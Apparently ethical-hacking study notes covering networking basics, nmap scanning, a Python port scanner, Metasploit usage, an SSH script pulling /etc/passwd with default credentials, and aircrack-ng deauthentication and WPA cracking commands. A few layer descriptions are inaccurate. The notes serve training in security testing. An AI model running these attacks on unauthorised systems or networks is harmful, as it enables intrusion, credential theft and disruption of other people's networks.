# 1 Networking Concepts

## 1.1 1. OSI Model (7 Layers)

1. **Physical Layer:** Deals with hardware (e.g., cables, switches).
2. **Data Link Layer:** MAC addressing, switches, and Ethernet.
3. **Network Layer:** IP addressing, routers.
4. **Transport Layer:** TCP/UDP, port numbers.
5. **Session Layer:** Manages sessions, SSL/TLS.
6. **Presentation Layer:** Encryption and compression.
7. **Application Layer:** User interaction (e.g., HTTP, FTP).

## 1.2 2. TCP/IP Model (4 Layers)

- **Network Interface:** Physical devices and MAC addressing.
- **Internet:** IP addresses, routing.
- **Transport:** TCP (connection-oriented) and UDP (connectionless).
- **Application:** Protocols like HTTP, DNS, SMTP.

## 1.3 3. Important Networking Commands

```
1 # Check IP Address
2 ifconfig
3
4 # Check routing table
5 route -n
6
7 # Ping a host
8 ping <hostname_or_ip>
9
10 # Traceroute to check hops
11 traceroute <hostname_or_ip>
12
13 # DNS Lookup
14 nslookup <domain>
15
16 # ARP Table
17 arp -a
```

```
18
19 # Netstat: Show active connections
20 netstat -an
```

Listing 1: Bash Commands for Networking

## 2 Ethical Hacking Techniques

### 2.1 1. Reconnaissance

**Purpose:** Collect information about the target.

- Active Recon: Directly interacting with the target.
- Passive Recon: Using publicly available information.

#### 2.1.1 Tools and Techniques

```
1 # Ping Sweep
2 ping -c 4 <target_ip>
3
4 # Host Discovery
5 nmap -sn <target_network>
6
7 # Port Scanning
8 nmap -p- <target_ip>
9
10 # DNS Enumeration
11 nslookup <domain>
12 dig <domain>
13
14 # WHOIS Lookup
15 whois <domain>
```

Listing 2: Bash Commands for Recon

### 2.2 2. Scanning and Enumeration

**Purpose:** Discover live hosts, open ports, and services.

#### 2.2.1 Using Nmap

```

1 # Quick scan for live hosts
2 nmap -sn <target_subnet>
3
4 # Full port scan
5 nmap -p- <target_ip>
6
7 # Service and OS detection
8 nmap -sS -sV -O <target_ip>
9
10 # Save results
11 nmap -oN results.txt <target_ip>

```

Listing 3: Nmap Scanning Commands

## 2.2.2 Python Implementation for Scanning

```

1 import socket
2
3 def port_scan(target, ports):
4     for port in range(1, ports + 1):
5         try:
6             s = socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
7             s.settimeout(0.5)
8             result = s.connect_ex((target, port))
9             if result == 0:
10                 print(f"Port {port} is open")
11             s.close()
12         except Exception as e:
13             print(f"Error: {e}")
14
15 port_scan("192.168.1.1", 100)

```

Listing 4: Python Code for Scanning

## 2.3 3. Gaining Access

**Purpose:** Exploit vulnerabilities to access the target system.

### 2.3.1 Metasploit Framework

```

1 # Start Metasploit
2 msfconsole
3
4 # Search for exploits
5 search <vulnerability_name>

```

```

6
7 # Use an exploit
8 use <exploit_name>
9
10 # Set options
11 set RHOST <target_ip>
12 set LHOST <attacker_ip>
13
14 # Run the exploit
15 exploit

```

Listing 5: Using Metasploit Framework

## 2.4 4. Post-Exploitation

**Purpose:** Gather further information or maintain access.

- Pivoting: Access internal networks.
- Data Extraction: Download sensitive files.
- Creating Backdoors: Establish persistence.

### 2.4.1 Python Example for File Extraction

```

1 import paramiko
2
3 def ssh_file_download(target_ip, username, password,
4                       file_path, dest_path):
5     ssh = paramiko.SSHClient()
6     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
7     ssh.connect(target_ip, username=username, password=
8                 password)
9     sftp = ssh.open_sftp()
10    sftp.get(file_path, dest_path)
11    sftp.close()
12    ssh.close()
13
14 ssh_file_download("192.168.1.1", "admin", "password123", "/
15                  etc/passwd", "passwd_copy")

```

Listing 6: Python Code for File Extraction

## 3 Wireless Attacks

### 3.1 1. Capturing Packets

```

1 # Start monitor mode
2 airmon-ng start wlan0
3
4 # Capture packets
5 airodump-ng wlan0mon
6
7 # Filter by BSSID and channel
8 airodump-ng --bssid <bssid> --channel <channel> wlan0mon

```

Listing 7: Bash Commands for Packet Capture

## 3.2 2. Deauthentication Attack

```

1 # Disconnect users
2 aireplay-ng --deauth <packets> -a <AP_MAC> wlan0mon

```

Listing 8: Bash Command for Deauth Attack

## 3.3 3. WPA Handshake Cracking

```

1 # Capture handshake
2 airodump-ng --write handshake wlan0mon
3
4 # Crack with wordlist
5 aircrack-ng handshake.cap -w wordlist.txt

```

Listing 9: Cracking WPA Handshake

# 4 Ethical Considerations

- Always obtain proper authorization before conducting any hacking activities.
- Use these techniques in controlled environments, such as ethical hacking labs.
- Respect privacy and comply with legal frameworks.
